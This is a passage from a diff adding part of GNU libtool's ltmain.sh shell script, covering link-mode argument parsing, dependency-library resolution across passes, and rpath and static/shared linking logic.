$func_resolve_sysroot_result" + prev= + elif test dlprefiles = "$prev"; then + # The library was specified with -dlpreopen. + func_append dlprefiles " $func_resolve_sysroot_result" + prev= + else + func_append deplibs " $func_resolve_sysroot_result" + fi + continue + ;; + + # Some other compiler argument. + *) + # Unknown arguments in both finalize_command and compile_command need + # to be aesthetically quoted because they are evaled later. + func_quote_arg pretty "$arg" + arg=$func_quote_arg_result + ;; + esac # arg + + # Now actually substitute the argument into the commands. + if test -n "$arg"; then + func_append compile_command " $arg" + func_append finalize_command " $arg" + fi + done # argument parsing loop + + test -n "$prev" && \ + func_fatal_help "the '$prevarg' option requires an argument" + + if test yes = "$export_dynamic" && test -n "$export_dynamic_flag_spec"; then + eval arg=\"$export_dynamic_flag_spec\" + func_append compile_command " $arg" + func_append finalize_command " $arg" + fi + + oldlibs= + # calculate the name of the file, without its directory + func_basename "$output" + outputname=$func_basename_result + libobjs_save=$libobjs + + if test -n "$shlibpath_var"; then + # get the directories listed in $shlibpath_var + eval shlib_search_path=\`\$ECHO \"\$$shlibpath_var\" \| \$SED \'s/:/ /g\'\` + else + shlib_search_path= + fi + eval sys_lib_search_path=\"$sys_lib_search_path_spec\" + eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\" + + # Definition is injected by LT_CONFIG during libtool generation. + func_munge_path_list sys_lib_dlsearch_path "$LT_SYS_LIBRARY_PATH" + + func_dirname "$output" "/" "" + output_objdir=$func_dirname_result$objdir + func_to_tool_file "$output_objdir/" + tool_output_objdir=$func_to_tool_file_result + # Create the object directory. + func_mkdir_p "$output_objdir" + + # Determine the type of output + case $output in + "") + func_fatal_help "you must specify an output file" + ;; + *.$libext) linkmode=oldlib ;; + *.lo | *.$objext) linkmode=obj ;; + *.la) linkmode=lib ;; + *) linkmode=prog ;; # Anything else should be a program. + esac + + specialdeplibs= + + libs= + # Find all interdependent deplibs by searching for libraries + # that are linked more than once (e.g. -la -lb -la) + for deplib in $deplibs; do + if $opt_preserve_dup_deps; then + case "$libs " in + *" $deplib "*) func_append specialdeplibs " $deplib" ;; + esac + fi + func_append libs " $deplib" + done + + if test lib = "$linkmode"; then + libs="$predeps $libs $compiler_lib_search_path $postdeps" + + # Compute libraries that are listed more than once in $predeps + # $postdeps and mark them as special (i.e., whose duplicates are + # not to be eliminated). + pre_post_deps= + if $opt_duplicate_compiler_generated_deps; then + for pre_post_dep in $predeps $postdeps; do + case "$pre_post_deps " in + *" $pre_post_dep "*) func_append specialdeplibs " $pre_post_deps" ;; + esac + func_append pre_post_deps " $pre_post_dep" + done + fi + pre_post_deps= + fi + + deplibs= + newdependency_libs= + newlib_search_path= + need_relink=no # whether we're linking any uninstalled libtool libraries + notinst_deplibs= # not-installed libtool libraries + notinst_path= # paths that contain not-installed libtool libraries + + case $linkmode in + lib) + passes="conv dlpreopen link" + for file in $dlfiles $dlprefiles; do + case $file in + *.la) ;; + *) + func_fatal_help "libraries can '-dlopen' only libtool libraries: $file" + ;; + esac + done + ;; + prog) + compile_deplibs= + finalize_deplibs= + alldeplibs=false + newdlfiles= + newdlprefiles= + passes="conv scan dlopen dlpreopen link" + ;; + *) passes="conv" + ;; + esac + + for pass in $passes; do + # The preopen pass in lib mode reverses $deplibs; put it back here + # so that -L comes before libs that need it for instance... + if test lib,link = "$linkmode,$pass"; then + ## FIXME: Find the place where the list is rebuilt in the wrong + ## order, and fix it there properly + tmp_deplibs= + for deplib in $deplibs; do + tmp_deplibs="$deplib $tmp_deplibs" + done + deplibs=$tmp_deplibs + fi + + if test lib,link = "$linkmode,$pass" || + test prog,scan = "$linkmode,$pass"; then + libs=$deplibs + deplibs= + fi + if test prog = "$linkmode"; then + case $pass in + dlopen) libs=$dlfiles ;; + dlpreopen) libs=$dlprefiles ;; + link) libs="$deplibs %DEPLIBS% $dependency_libs" ;; + esac + fi + if test lib,dlpreopen = "$linkmode,$pass"; then + # Collect and forward deplibs of preopened libtool libs + for lib in $dlprefiles; do + # Ignore non-libtool-libs + dependency_libs= + func_resolve_sysroot "$lib" + case $lib in + *.la) func_source "$func_resolve_sysroot_result" ;; + esac + + # Collect preopened libtool deplibs, except any this library + # has declared as weak libs + for deplib in $dependency_libs; do + func_basename "$deplib" + deplib_base=$func_basename_result + case " $weak_libs " in + *" $deplib_base "*) ;; + *) func_append deplibs " $deplib" ;; + esac + done + done + libs=$dlprefiles + fi + if test dlopen = "$pass"; then + # Collect dlpreopened libraries + save_deplibs=$deplibs + deplibs= + fi + + for deplib in $libs; do + lib= + found=false + case $deplib in + -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe \ + |-threads|-fopenmp|-openmp|-mp|-xopenmp|-omp|-qsmp=*) + if test prog,link = "$linkmode,$pass"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + func_append compiler_flags " $deplib" + if test lib = "$linkmode"; then + case "$new_inherited_linker_flags " in + *" $deplib "*) ;; + * ) func_append new_inherited_linker_flags " $deplib" ;; + esac + fi + fi + continue + ;; + -l*) + if test lib != "$linkmode" && test prog != "$linkmode"; then + func_warning "'-l' is ignored for archives/objects" + continue + fi + func_stripname '-l' '' "$deplib" + name=$func_stripname_result + if test lib = "$linkmode"; then + searchdirs="$newlib_search_path $lib_search_path $compiler_lib_search_dirs $sys_lib_search_path $shlib_search_path" + else + searchdirs="$newlib_search_path $lib_search_path $sys_lib_search_path $shlib_search_path" + fi + for searchdir in $searchdirs; do + for search_ext in .la $std_shrext .so .a; do + # Search the libtool library + lib=$searchdir/lib$name$search_ext + if test -f "$lib"; then + if test .la = "$search_ext"; then + found=: + else + found=false + fi + break 2 + fi + done + done + if $found; then + # deplib is a libtool library + # If $allow_libtool_libs_with_static_runtimes && $deplib is a stdlib, + # We need to do some special things here, and not later. + if test yes = "$allow_libtool_libs_with_static_runtimes"; then + case " $predeps $postdeps " in + *" $deplib "*) + if func_lalib_p "$lib"; then + library_names= + old_library= + func_source "$lib" + for l in $old_library $library_names; do + ll=$l + done + if test "X$ll" = "X$old_library"; then # only static version available + found=false + func_dirname "$lib" "" "." + ladir=$func_dirname_result + lib=$ladir/$old_library + if test prog,link = "$linkmode,$pass"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + deplibs="$deplib $deplibs" + test lib = "$linkmode" && newdependency_libs="$deplib $newdependency_libs" + fi + continue + fi + fi + ;; + *) ;; + esac + fi + else + # deplib doesn't seem to be a libtool library + if test prog,link = "$linkmode,$pass"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + deplibs="$deplib $deplibs" + test lib = "$linkmode" && newdependency_libs="$deplib $newdependency_libs" + fi + continue + fi + ;; # -l + *.ltframework) + if test prog,link = "$linkmode,$pass"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + deplibs="$deplib $deplibs" + if test lib = "$linkmode"; then + case "$new_inherited_linker_flags " in + *" $deplib "*) ;; + * ) func_append new_inherited_linker_flags " $deplib" ;; + esac + fi + fi + continue + ;; + -L*) + case $linkmode in + lib) + deplibs="$deplib $deplibs" + test conv = "$pass" && continue + newdependency_libs="$deplib $newdependency_libs" + func_stripname '-L' '' "$deplib" + func_resolve_sysroot "$func_stripname_result" + func_append newlib_search_path " $func_resolve_sysroot_result" + ;; + prog) + if test conv = "$pass"; then + deplibs="$deplib $deplibs" + continue + fi + if test scan = "$pass"; then + deplibs="$deplib $deplibs" + else + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + fi + func_stripname '-L' '' "$deplib" + func_resolve_sysroot "$func_stripname_result" + func_append newlib_search_path " $func_resolve_sysroot_result" + ;; + *) + func_warning "'-L' is ignored for archives/objects" + ;; + esac # linkmode + continue + ;; # -L + -R*) + if test link = "$pass"; then + func_stripname '-R' '' "$deplib" + func_resolve_sysroot "$func_stripname_result" + dir=$func_resolve_sysroot_result + # Make sure the xrpath contains only unique directories. + case "$xrpath " in + *" $dir "*) ;; + *) func_append xrpath " $dir" ;; + esac + fi + deplibs="$deplib $deplibs" + continue + ;; + *.la) + func_resolve_sysroot "$deplib" + lib=$func_resolve_sysroot_result + ;; + *.$libext) + if test conv = "$pass"; then + deplibs="$deplib $deplibs" + continue + fi + case $linkmode in + lib) + # Linking convenience modules into shared libraries is allowed, + # but linking other static libraries is non-portable. + case " $dlpreconveniencelibs " in + *" $deplib "*) ;; + *) + valid_a_lib=false + case $deplibs_check_method in + match_pattern*) + set dummy $deplibs_check_method; shift + match_pattern_regex=`expr "$deplibs_check_method" : "$1 \(.*\)"` + if eval "\$ECHO \"$deplib\"" 2>/dev/null | $SED 10q \ + | $EGREP "$match_pattern_regex" > /dev/null; then + valid_a_lib=: + fi + ;; + pass_all) + valid_a_lib=: + ;; + esac + if $valid_a_lib; then + echo + $ECHO "*** Warning: Linking the shared library $output against the" + $ECHO "*** static library $deplib is not portable!" + deplibs="$deplib $deplibs" + else + echo + $ECHO "*** Warning: Trying to link with static lib archive $deplib." + echo "*** I have the capability to make that library automatically link in when" + echo "*** you link to this library. But I can only do this if you have a" + echo "*** shared version of the library, which you do not appear to have" + echo "*** because the file extensions .$libext of this argument makes me believe" + echo "*** that it is just a static archive that I should not use here." + fi + ;; + esac + continue + ;; + prog) + if test link != "$pass"; then + deplibs="$deplib $deplibs" + else + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + fi + continue + ;; + esac # linkmode + ;; # *.$libext + *.lo | *.$objext) + if test conv = "$pass"; then + deplibs="$deplib $deplibs" + elif test prog = "$linkmode"; then + if test dlpreopen = "$pass" || test yes != "$dlopen_support" || test no = "$build_libtool_libs"; then + # If there is no dlopen support or we're linking statically, + # we need to preload. + func_append newdlprefiles " $deplib" + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + func_append newdlfiles " $deplib" + fi + fi + continue + ;; + %DEPLIBS%) + alldeplibs=: + continue + ;; + esac # case $deplib + + $found || test -f "$lib" \ + || func_fatal_error "cannot find the library '$lib' or unhandled argument '$deplib'" + + # Check to see that this really is a libtool archive. + func_lalib_unsafe_p "$lib" \ + || func_fatal_error "'$lib' is not a valid libtool archive" + + func_dirname "$lib" "" "." + ladir=$func_dirname_result + + dlname= + dlopen= + dlpreopen= + libdir= + library_names= + old_library= + inherited_linker_flags= + # If the library was installed with an old release of libtool, + # it will not redefine variables installed, or shouldnotlink + installed=yes + shouldnotlink=no + avoidtemprpath= + + + # Read the .la file + func_source "$lib" + + # Convert "-framework foo" to "foo.ltframework" + if test -n "$inherited_linker_flags"; then + tmp_inherited_linker_flags=`$ECHO "$inherited_linker_flags" | $SED 's/-framework \([^ $]*\)/\1.ltframework/g'` + for tmp_inherited_linker_flag in $tmp_inherited_linker_flags; do + case " $new_inherited_linker_flags " in + *" $tmp_inherited_linker_flag "*) ;; + *) func_append new_inherited_linker_flags " $tmp_inherited_linker_flag";; + esac + done + fi + dependency_libs=`$ECHO " $dependency_libs" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` + if test lib,link = "$linkmode,$pass" || + test prog,scan = "$linkmode,$pass" || + { test prog != "$linkmode" && test lib != "$linkmode"; }; then + test -n "$dlopen" && func_append dlfiles " $dlopen" + test -n "$dlpreopen" && func_append dlprefiles " $dlpreopen" + fi + + if test conv = "$pass"; then + # Only check for convenience libraries + deplibs="$lib $deplibs" + if test -z "$libdir"; then + if test -z "$old_library"; then + func_fatal_error "cannot find name of link library for '$lib'" + fi + # It is a libtool convenience library, so add in its objects. + func_append convenience " $ladir/$objdir/$old_library" + func_append old_convenience " $ladir/$objdir/$old_library" + elif test prog != "$linkmode" && test lib != "$linkmode"; then + func_fatal_error "'$lib' is not a convenience library" + fi + tmp_libs= + for deplib in $dependency_libs; do + deplibs="$deplib $deplibs" + if $opt_preserve_dup_deps; then + case "$tmp_libs " in + *" $deplib "*) func_append specialdeplibs " $deplib" ;; + esac + fi + func_append tmp_libs " $deplib" + done + continue + fi # $pass = conv + + + # Get the name of the library we link against. + linklib= + if test -n "$old_library" && + { test yes = "$prefer_static_libs" || + test built,no = "$prefer_static_libs,$installed"; }; then + linklib=$old_library + else + for l in $old_library $library_names; do + linklib=$l + done + fi + if test -z "$linklib"; then + func_fatal_error "cannot find name of link library for '$lib'" + fi + + # This library was specified with -dlopen. + if test dlopen = "$pass"; then + test -z "$libdir" \ + && func_fatal_error "cannot -dlopen a convenience library: '$lib'" + if test -z "$dlname" || + test yes != "$dlopen_support" || + test no = "$build_libtool_libs" + then + # If there is no dlname, no dlopen support or we're linking + # statically, we need to preload. We also need to preload any + # dependent libraries so libltdl's deplib preloader doesn't + # bomb out in the load deplibs phase. + func_append dlprefiles " $lib $dependency_libs" + else + func_append newdlfiles " $lib" + fi + continue + fi # $pass = dlopen + + # We need an absolute path. + case $ladir in + [\\/]* | [A-Za-z]:[\\/]*) abs_ladir=$ladir ;; + *) + abs_ladir=`cd "$ladir" && pwd` + if test -z "$abs_ladir"; then + func_warning "cannot determine absolute directory name of '$ladir'" + func_warning "passing it literally to the linker, although it might fail" + abs_ladir=$ladir + fi + ;; + esac + func_basename "$lib" + laname=$func_basename_result + + # Find the relevant object directory and library name. + if test yes = "$installed"; then + if test ! -f "$lt_sysroot$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then + func_warning "library '$lib' was moved." + dir=$ladir + absdir=$abs_ladir + libdir=$abs_ladir + else + dir=$lt_sysroot$libdir + absdir=$lt_sysroot$libdir + fi + test yes = "$hardcode_automatic" && avoidtemprpath=yes + else + if test ! -f "$ladir/$objdir/$linklib" && test -f "$abs_ladir/$linklib"; then + dir=$ladir + absdir=$abs_ladir + # Remove this search path later + func_append notinst_path " $abs_ladir" + else + dir=$ladir/$objdir + absdir=$abs_ladir/$objdir + # Remove this search path later + func_append notinst_path " $abs_ladir" + fi + fi # $installed = yes + func_stripname 'lib' '.la' "$laname" + name=$func_stripname_result + + # This library was specified with -dlpreopen. + if test dlpreopen = "$pass"; then + if test -z "$libdir" && test prog = "$linkmode"; then + func_fatal_error "only libraries may -dlpreopen a convenience library: '$lib'" + fi + case $host in + # special handling for platforms with PE-DLLs. + *cygwin* | *mingw* | *cegcc* ) + # Linker will automatically link against shared library if both + # static and shared are present. Therefore, ensure we extract + # symbols from the import library if a shared library is present + # (otherwise, the dlopen module name will be incorrect). We do + # this by putting the import library name into $newdlprefiles. + # We recover the dlopen module name by 'saving' the la file + # name in a special purpose variable, and (later) extracting the + # dlname from the la file. + if test -n "$dlname"; then + func_tr_sh "$dir/$linklib" + eval "libfile_$func_tr_sh_result=\$abs_ladir/\$laname" + func_append newdlprefiles " $dir/$linklib" + else + func_append newdlprefiles " $dir/$old_library" + # Keep a list of preopened convenience libraries to check + # that they are being used correctly in the link pass. + test -z "$libdir" && \ + func_append dlpreconveniencelibs " $dir/$old_library" + fi + ;; + * ) + # Prefer using a static library (so that no silly _DYNAMIC symbols + # are required to link). + if test -n "$old_library"; then + func_append newdlprefiles " $dir/$old_library" + # Keep a list of preopened convenience libraries to check + # that they are being used correctly in the link pass. + test -z "$libdir" && \ + func_append dlpreconveniencelibs " $dir/$old_library" + # Otherwise, use the dlname, so that lt_dlopen finds it. + elif test -n "$dlname"; then + func_append newdlprefiles " $dir/$dlname" + else + func_append newdlprefiles " $dir/$linklib" + fi + ;; + esac + fi # $pass = dlpreopen + + if test -z "$libdir"; then + # Link the convenience library + if test lib = "$linkmode"; then + deplibs="$dir/$old_library $deplibs" + elif test prog,link = "$linkmode,$pass"; then + compile_deplibs="$dir/$old_library $compile_deplibs" + finalize_deplibs="$dir/$old_library $finalize_deplibs" + else + deplibs="$lib $deplibs" # used for prog,scan pass + fi + continue + fi + + + if test prog = "$linkmode" && test link != "$pass"; then + func_append newlib_search_path " $ladir" + deplibs="$lib $deplibs" + + linkalldeplibs=false + if test no != "$link_all_deplibs" || test -z "$library_names" || + test no = "$build_libtool_libs"; then + linkalldeplibs=: + fi + + tmp_libs= + for deplib in $dependency_libs; do + case $deplib in + -L*) func_stripname '-L' '' "$deplib" + func_resolve_sysroot "$func_stripname_result" + func_append newlib_search_path " $func_resolve_sysroot_result" + ;; + esac + # Need to link against all dependency_libs? + if $linkalldeplibs; then + deplibs="$deplib $deplibs" + else + # Need to hardcode shared library paths + # or/and link against static libraries + newdependency_libs="$deplib $newdependency_libs" + fi + if $opt_preserve_dup_deps; then + case "$tmp_libs " in + *" $deplib "*) func_append specialdeplibs " $deplib" ;; + esac + fi + func_append tmp_libs " $deplib" + done # for deplib + continue + fi # $linkmode = prog... + + if test prog,link = "$linkmode,$pass"; then + if test -n "$library_names" && + { { test no = "$prefer_static_libs" || + test built,yes = "$prefer_static_libs,$installed"; } || + test -z "$old_library"; }; then + # We need to hardcode the library path + if test -n "$shlibpath_var" && test -z "$avoidtemprpath"; then + # Make sure the rpath contains only unique directories. + case $temp_rpath: in + *"$absdir:"*) ;; + *) func_append temp_rpath "$absdir:" ;; + esac + fi + + # Hardcode the library path. + # Skip directories that are in the system default run-time + # search path. + case " $sys_lib_dlsearch_path " in + *" $absdir "*) ;; + *) + case "$compile_rpath " in + *" $absdir "*) ;; + *) func_append compile_rpath " $absdir" ;; + esac + ;; + esac + case " $sys_lib_dlsearch_path " in + *" $libdir "*) ;; + *) + case "$finalize_rpath " in + *" $libdir "*) ;; + *) func_append finalize_rpath " $libdir" ;; + esac + ;; + esac + fi # $linkmode,$pass = prog,link... + + if $alldeplibs && + { test pass_all = "$deplibs_check_method" || + { test yes = "$build_libtool_libs" && + test -n "$library_names"; }; }; then + # We only need to search for static libraries + continue + fi + fi + + link_static=no # Whether the deplib will be linked statically + use_static_libs=$prefer_static_libs + if test built = "$use_static_libs" && test yes = "$installed"; then + use_static_libs=no + fi + if test -n "$library_names" && + { test no = "$use_static_libs" || test -z "$old_library"; }; then + case $host in + *cygwin* | *mingw* | *cegcc* | *os2*) + # No point in relinking DLLs because paths are not encoded + func_append notinst_deplibs " $lib" + need_relink=no + ;; + *) + if test no = "$installed"; then + func_append notinst_deplibs " $lib" + need_relink=yes + fi + ;; + esac + # This is a shared library + + # Warn about portability, can't link against -module's on some + # systems (darwin). Don't bleat about dlopened modules though! + dlopenmodule= + for dlpremoduletest in $dlprefiles; do + if test "X$dlpremoduletest" = "X$lib"; then + dlopenmodule=$dlpremoduletest + break + fi + done + if test -z "$dlopenmodule" && test yes = "$shouldnotlink" && test link = "$pass"; then + echo + if test prog = "$linkmode"; then + $ECHO "*** Warning: Linking the executable $output against the loadable module" + else + $ECHO "*** Warning: Linking the shared library $output against the loadable module" + fi + $ECHO "*** $linklib is not portable!" + fi + if test lib = "$linkmode" && + test yes = "$hardcode_into_libs"; then + # Hardcode the library path. + # Skip directories that are in the system default run-time + # search path. + case " $sys_lib_dlsearch_path " in + *" $absdir "*) ;; + *) + case "$compile_rpath " in + *" $absdir "*) ;; + *) func_append compile_rpath " $absdir" ;; + esac + ;; + esac + case " $sys_lib_dlsearch_path " in + *" $libdir "*) ;; + *) + case "$finalize_rpath " in + *" $libdir "*) ;; + *) func_append finalize_rpath " $libdir" ;; + esac + ;; + esac + fi + + if test -n "$old_archive_from_expsyms_cmds"; then + # figure out the soname + set dummy $library_names + shift + realname=$1 + shift + libname=`eval "\\$ECHO \"$libname_spec\""` + # use dlname if we got it. it's perfectly good, no? + if test -n "$dlname"; then + soname=$dlname + elif test -n "$soname_spec"; then + # bleh windows + case $host in + *cygwin* | mingw* | *cegcc* | *os2*) + func_arith $current - $age + major=$func_arith_result + versuffix=-$major + ;; + esac + eval soname=\"$soname_spec\" + else + soname=$realname + fi + + # Make a new name for the extract_expsyms_cmds to use + soroot=$soname + func_basename "$soroot" + soname=$func_basename_result + func_stripname 'lib' '.dll' "$soname" + newlib=libimp-$func_stripname_result.a + + # If the library has no export list, then create one now + if test -f "$output_objdir/$soname-def"; then : + else + func_verbose "extracting exported symbol list from '$soname'" + func_execute_cmds "$extract_expsyms_cmds" 'exit $?' + fi + + # Create $newlib + if test -f "$output_objdir/$newlib"; then :; else + func_verbose "generating import library for '$soname'" + func_execute_cmds "$old_archive_from_expsyms_cmds" 'exit $?' + fi + # make sure the library variables are pointing to the new library + dir=$output_objdir + linklib=$newlib + fi # test -n "$old_archive_from_expsyms_cmds" + + if test prog = "$linkmode" || test relink != "$opt_mode"; then + add_shlibpath= + add_dir= + add= + lib_linked=yes + case $hardcode_action in + immediate | unsupported) + if test no = "$hardcode_direct"; then + add=$dir/$linklib + case $host in + *-*-sco3.2v5.0.[024]*) add_dir=-L$dir ;; + *-*-sysv4*uw2*) add_dir=-L$dir ;; + *-*-sysv5OpenUNIX* | *-*-sysv5UnixWare7.[01].[10]* | \ + *-*-unixware7*) add_dir=-L$dir ;; + *-*-darwin* ) + # if the lib is a (non-dlopened) module then we cannot + # link against it, someone is ignoring the earlier warnings + if /usr/bin/file -L $add 2> /dev/null | + $GREP ": [^:]* bundle" >/dev/null; then + if test "X$dlopenmodule" != "X$lib"; then + $ECHO "*** Warning: lib $linklib is a module, not a shared library" + if test -z "$old_library"; then + echo + echo "*** And there doesn't seem to be a static archive available" + echo "*** The link will probably fail, sorry" + else + add=$dir/$old_library + fi + elif test -n "$old_library"; then + add=$dir/$old_library + fi + fi + esac + elif test no = "$hardcode_minus_L"; then + case $host in + *-*-sunos*) add_shlibpath=$dir ;; + esac + add_dir=-L$dir + add=-l$name + elif test no = "$hardcode_shlibpath_var"; then + add_shlibpath=$dir + add=-l$name + else + lib_linked=no + fi + ;; + relink) + if test yes = "$hardcode_direct" && + test no = "$hardcode_direct_absolute"; then + add=$dir/$linklib + elif test yes = "$hardcode_minus_L"; then + add_dir=-L$absdir + # Try looking first in the location we're being installed to. + if test -n "$inst_prefix_dir"; then + case $libdir in + [\\/]*) + func_append add_dir " -L$inst_prefix_dir$libdir" + ;; + esac + fi + add=-l$name + elif test yes = "$hardcode_shlibpath_var"; then + add_shlibpath=$dir + add=-l$name + else + lib_linked=no + fi + ;; + *) lib_linked=no ;; + esac + + if test yes != "$lib_linked"; then + func_fatal_configuration "unsupported hardcode properties" + fi + + if test -n "$add_shlibpath"; then + case :$compile_shlibpath: in + *":$add_shlibpath:"*) ;; + *) func_append compile_shlibpath "$add_shlibpath:" ;; + esac + fi + if test prog = "$linkmode"; then + test -n "$add_dir" && compile_deplibs="$add_dir $compile_deplibs" + test -n "$add" && compile_deplibs="$add $compile_deplibs" + else + test -n "$add_dir" && deplibs="$add_dir $deplibs" + test -n "$add" && deplibs="$add $deplibs" + if test yes != "$hardcode_direct" && + test yes != "$hardcode_minus_L" && + test yes = "$hardcode_shlibpath_var"; then + case :$finalize_shlibpath: in + *":$libdir:"*) ;; + *) func_append finalize_shlibpath "$libdir:" ;; + esac + fi + fi + fi + + if test prog = "$linkmode" || test relink = "$opt_mode"; then + add_shlibpath= + add_dir= + add= + # Finalize command for both is simple: just hardcode it. + if test yes = "$hardcode_direct" && + test no = "$hardcode_direct_absolute"; then + add=$libdir/$linklib + elif test yes = "$hardcode_minus_L"; then + add_dir=-L$libdir + add=-l$name + elif test yes = "$hardcode_shlibpath_var"; then + case :$finalize_shlibpath: in + *":$libdir:"*) ;; + *) func_append finalize_shlibpath "$libdir:" ;; + esac + add=-l$name + elif test yes = "$hardcode_automatic"; then + if test -n "$inst_prefix_dir" && + test -f "$inst_prefix_dir$libdir/$linklib"; then + add=$inst_prefix_dir$libdir/$linklib + else + add=$libdir/$linklib + fi + else + # We cannot seem to hardcode it, guess we'll fake it. + add_dir=-L$libdir + # Try looking first in the location we're being installed to. + if test -n "$inst_prefix_dir"; then + case $libdir in + [\\/]*) + func_append add_dir " -L$inst_prefix_dir$libdir" + ;; + esac + fi + add=-l$name + fi + + if test prog = "$linkmode"; then + test -n "$add_dir" && finalize_deplibs="$add_dir $finalize_deplibs" + test -n "$add" && finalize_deplibs="$add $finalize_deplibs" + else + test -n "$add_dir" && deplibs="$add_dir $deplibs" + test -n "$add" && deplibs="$add $deplibs" + fi + fi + elif test prog = "$linkmode"; then + # Here we assume that one of hardcode_direct or hardcode_minus_L + # is not unsupported. This is valid on all known static and + # shared platforms. + if test unsupported != "$hardcode_direct"; then + test -n "$old_library" && linklib=$old_library + compile_deplibs="$dir/$linklib $compile_deplibs" + finalize_deplibs="$dir/$linklib $finalize_deplibs" + else + compile_deplibs="-l$name -L$dir $compile_deplibs" + finalize_deplibs="-l$name -L$dir $finalize_deplibs" + fi + elif test yes = "$build_libtool_libs"; then + # Not a shared library + if test pass_all != "$deplibs_check_method"; then + # We're trying link a shared library against a static one + # but the system doesn't support it. + + # Just print a warning and add the library to dependency_libs so + # that the program can be linked against the static library. + echo + $ECHO "*** Warning: This system cannot link to static lib archive $lib." + echo "*** I have the capability to make that library automatically link in when" + echo "*** you link to this library. But I can only do this if you have a" + echo "*** shared version of the library, which you do not appear to have." + if test yes = "$module"; then + echo "*** But as you try to build a module library, libtool will still create " + echo "*** a static module, that should work as long as the dlopening application" + echo "*** is linked with the -dlopen flag to resolve symbols at runtime." + if test -z "$global_symbol_pipe"; then + echo + echo "*** However, this would only work if libtool was able to extract symbol" + echo "*** lists from a program, using 'nm' or equivalent, but libtool could" + echo "*** not find such a program. So, this module is probably useless." + echo "*** 'nm' from GNU binutils and a full rebuild may help." + fi + if test no = "$build_old_libs"; then + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + fi + else + deplibs="$dir/$old_library $deplibs" + link_static=yes + fi + fi # link shared/static library? + + if test lib = "$linkmode"; then + if test -n "$dependency_libs" && + { test yes != "$hardcode_into_libs" || + test yes = "$build_old_libs" || + test yes = "$link_static"; }; then + # Extract -R from dependency_libs + temp_deplibs= + for libdir in $dependency_libs; do + case $libdir in + -R*) func_stripname '-R' '' "$libdir" + temp_xrpath=$func_stripname_result + case " $xrpath " in + *" $temp_xrpath "*) ;; + *) func_append xrpath " $temp_xrpath";; + esac;; + *) func_append temp_deplibs " $libdir";; + esac + done + dependency_libs=$temp_deplibs + fi + + func_append newlib_search_path " $absdir" + # Link against this library + test no = "$link_static" && newdependency_libs="$abs_ladir/$laname $newdependency_libs" + # ... and its dependency_libs + tmp_libs= + for deplib in $dependency_libs; do + newdependency_libs="$deplib $newdependency_libs" + case $deplib in + -L*) func_stripname '-L' '' "$deplib" + func_resolve_sysroot "$func_stripname_result";; + *) func_resolve_sysroot "$deplib" ;; + esac + if $opt_preserve_dup_deps; then + case "$tmp_libs " in + *" $func_resolve_sysroot_result "*) + func_append specialdeplibs " $func_resolve_sysroot_result" ;; + esac + fi + func_append tmp_libs " $func_resolve_sysroot_result" + done + + if test no != "$link_all_deplibs"; then + # Add the search paths of all dependency libraries + for deplib in $dependency_libs; do + path= + case $deplib in + -L*) path=$deplib ;; + *.la) + func_resolve_sysroot "$deplib" + deplib=$func_resolve_sysroot_result + func_dirname "$deplib" "" "." + dir=$func_dirname_result + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) absdir=$dir ;; + *) + absdir=`cd "$dir" && pwd` + if test -z "$absdir"; then + func_warning "cannot determine absolute directory name of '$dir'" + absdir=$dir + fi + ;; + esac + if $GREP "^installed=no" $deplib > /dev/null; then + case $host in + *-*-darwin*) + depdepl= + eval deplibrary_names=`$SED -n -e 's/^library_names=\(.*\)$/\1/p' $deplib` + if test -n "$deplibrary_names"; then + for tmp in $deplibrary_names; do + depdepl=$tmp + done + if test -f "$absdir/$objdir/$depdepl"; then + depdepl=$absdir/$objdir/$depdepl + darwin_install_name=`$OTOOL -L $depdepl | awk '{if (NR == 2) {print $1;exit}}'` + if test -z "$darwin_install_name"; then + darwin_install_name=`$OTOOL64 -L $depdepl | awk '{if (NR == 2) {print $1;exit}}'` + fi + func_append compiler_flags " $wl-dylib_file $wl$darwin_install_name:$depdepl" + func_append linker_flags " -dylib_file $darwin_install_name:$depdepl" + path= + fi + fi + ;; + *) + path=-L$absdir/$objdir + ;; + esac + else + eval libdir=`$SED -n -e 's/^libdir=\(.*\)$/\1/p' $deplib` + test -z "$libdir" && \ + func_fatal_error "'$deplib' is not a valid libtool archive" + test "$absdir" != "$libdir" && \ + func_warning "'$deplib' seems to be moved" + + path=-L$absdir + fi + ;; + esac + case " $deplibs " in + *" $path "*) ;; + *) deplibs="$path $deplibs" ;; + esac + done + fi # link_all_deplibs != no + fi # linkmode = lib + done # for deplib in $libs + if test link = "$pass"; then + if test prog = "$linkmode"; then + compile_deplibs="$new_inherited_linker_flags $compile_deplibs" + finalize_deplibs="$new_inherited_linker_flags $finalize_deplibs" + else + compiler_flags="$compiler_flags "`$ECHO " $new_inherited_linker_flags" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` + fi + fi + dependency_libs=$newdependency_libs + if test dlpreopen = "$pass"; then + # Link the dlpreopened libraries before other libraries + for deplib in $save_deplibs; do + deplibs="$deplib $deplibs" + done + fi + if test dlopen != "$pass"; then + test conv = "$pass" || { + # Make sure lib_search_path contains only unique directories. + lib_search_path= + for dir in $newlib_search_path; do + case "$lib_search_path " in + *" $dir "*) ;; + *) func_append lib_search_path " $dir" ;; + esac + done + newlib_search_path= + } + + if test prog,link = "$linkmode,$pass"; then + vars="compile_deplibs finalize_deplibs" + else + vars=deplibs + fi + for var in $vars dependency_libs; do + # Add libraries to $var in reverse order + eval tmp_libs=\"\$$var\" + new_libs= + for deplib in $tmp_libs; do + # FIXME: Pedantically, this is the right thing to do, so + # that some nasty dependency loop isn't accidentally + # broken: + #new_libs="$deplib $new_libs" + # Pragmatically, this seems to cause very few problems in + # practice: + case $deplib in + -L*) new_libs="$deplib 